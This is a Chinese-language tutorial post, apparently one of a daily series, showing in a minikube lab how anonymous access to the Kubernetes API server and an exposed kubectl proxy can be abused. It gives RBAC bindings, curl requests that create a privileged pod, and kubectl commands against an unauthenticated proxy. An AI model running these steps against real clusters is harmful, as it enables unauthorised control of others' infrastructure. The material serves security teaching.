• 今天要開始介紹 K8s 一些內部元件設定不當的濫用，基本上都還蠻簡單的。一樣在攻擊前先看手法跟位置。參考 从攻击者视角聊聊K8S集群安全 - 上 一圖，屬於1號的攻擊手法。
  

• 另外依據微軟的 Threat-Matrix-for-Kubernetes，該手法隸屬資料如下 :

  • Execution 策略 :
    • Exec into container
    • Bash or cmd inside container
  • Discovery 策略 :
    • Access Kubernetes API server

• 相關資訊可以參考 从零开始的Kubernetes攻防 - apiserver，但現在很難找到方法讓 api-server 直接開放匿名存取，所以這邊我們使用另一個方法來達成。

• 清空環境後先使用 curl api server 測試看看

minikube delete && minikube start ;

#找到 server 資訊
cat ~/.kube/config ; 

curl -k https://192.168.49.2:8443 ;

• 會發現回傳錯誤訊息如下，因為不帶任何權限是使用 system:anonymous 去做操作

{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {},
  "status": "Failure",
  "message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",
  "reason": "Forbidden",
  "details": {},
  "code": 403
}

• 試著看一下 system:anonymous 目前的操作權限有多少，會發現 User "system:anonymous" cannot create resource "selfsubjectrulesreviews" in API group "authorization.k8s.io" at the cluster scope。

kubectl auth can-i --list --as=system:anonymous ;

• 依據提示協助開放 system:anonymous 最小權限，參考如下 :

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: anonymous-clusterrole
rules:
  - apiGroups: ["*"]
    resources: ["selfsubjectaccessreviews"]
    verbs: ["create"]
  - apiGroups: ["*"]
    resources: ["selfsubjectrulesreviews"]
    verbs: ["create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: practice-anonymous-rolebinding
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: anonymous-clusterrole
subjects:
  - kind: User
    name: system:anonymous

• 套用後重新下一次指令觀看權限。

kubectl auth can-i --list --as=system:anonymous ;

• 套用高權限到 system:anonymous

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: practice-cluster-admin-rolebinding-anonymous
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: User
  name: system:anonymous
---
apiVersion: v1
kind: Pod
metadata:
  name: anonymous-target-pod
spec:
  containers:
  - name: target-pod
    image:  aeifkz/my-ubuntu:v1.0

• 重新測試 curl 會回傳相關 api 資源資訊，後續利用試著透過 api 建立特權容器，然後執行指令 (相關網址可以用 kubectl -v 10 去觀察)。

kubectl exec -it pods/anonymous-target-pod -- bash ;
curl -k https://192.168.49.2:8443 ;

# 建立特權容器
curl -k -v -X POST -H "Accept: application/json, */*" -H "Content-Type: application/json" -H "User-Agent: kubectl/v1.26.0 (linux/amd64) kubernetes/b46a3f8" 'https://192.168.49.2:8443/api/v1/namespaces/default/pods' -d '{"kind":"Pod","apiVersion":"v1","metadata":{"name":"nginx","creationTimestamp":null,"labels":{"run":"nginx"}},"spec":{"containers":[{"name":"nginx","image":"nginx" , "resources":{} , "securityContext": {"privileged": true} }],"restartPolicy":"Never","dnsPolicy":"ClusterFirst"},"status":{}}' ;

curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" && chmod +x kubectl ;

# 或是使用 kubectl -s  參數比較有用 (要記得把 ~/.kube/config 給換掉)
kubectl -s "https://192.168.49.2:8443" --insecure-skip-tls-verify=true get pods ;


kubectl -s "https://192.168.49.2:8443" --insecure-skip-tls-verify=true run target-pod-1 --image=aeifkz/my-ubuntu:v1.0 ;

• 另一個要注意的點是 从零开始的Kubernetes攻防 - kubectl proxy，這個是在測試服務的時候開放給外界存取一個快速的方式。kubectl proxy 會轉發所有 api server 的功能，而且本身不做任何的身分驗證功能，唯一的安全限制就是來源 IP。也就是說一旦開放時設定了 --address=0.0.0.0 --accept-hosts=^.*$ 等同於門戶大開。

kubectl proxy --address=0.0.0.0 --accept-hosts=^.*$ ;

kubectl run target-pod --image=aeifkz/my-ubuntu:v1.0 ;
kubectl exec -it target-pod -- bash ;

# 測試一下 proxy 功能
curl http://192.168.56.101:8001 ;

curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" && chmod +x kubectl ;

# 使用 kubectl -s 連結 server，但要注意的是這邊用的是 http 協定
kubectl -s "http://192.168.56.101:8001" get pods ;

kubectl -s "http://192.168.56.101:8001" auth can-i --list ;

• 今日總結 :

  • 本日回顧 :

    • 今天的開始切入 K8s 內部元件的安全設定探討，主要都是針對一些基本可能會被忽略的特性做測試，像是 api-server 預設使用 system:anonymous 做為連入身分，kubectl proxy 指令本身不做身分驗證以及開放所有權限。知道這些小特性就可以避免在維運時開放了過大的權限出來。

  • 次日預告 :

    • 明天一樣也是針對 K8s 內部元件的安全設定探討，只不過對象切換為 kubelet 元件，一樣不會太複雜啦。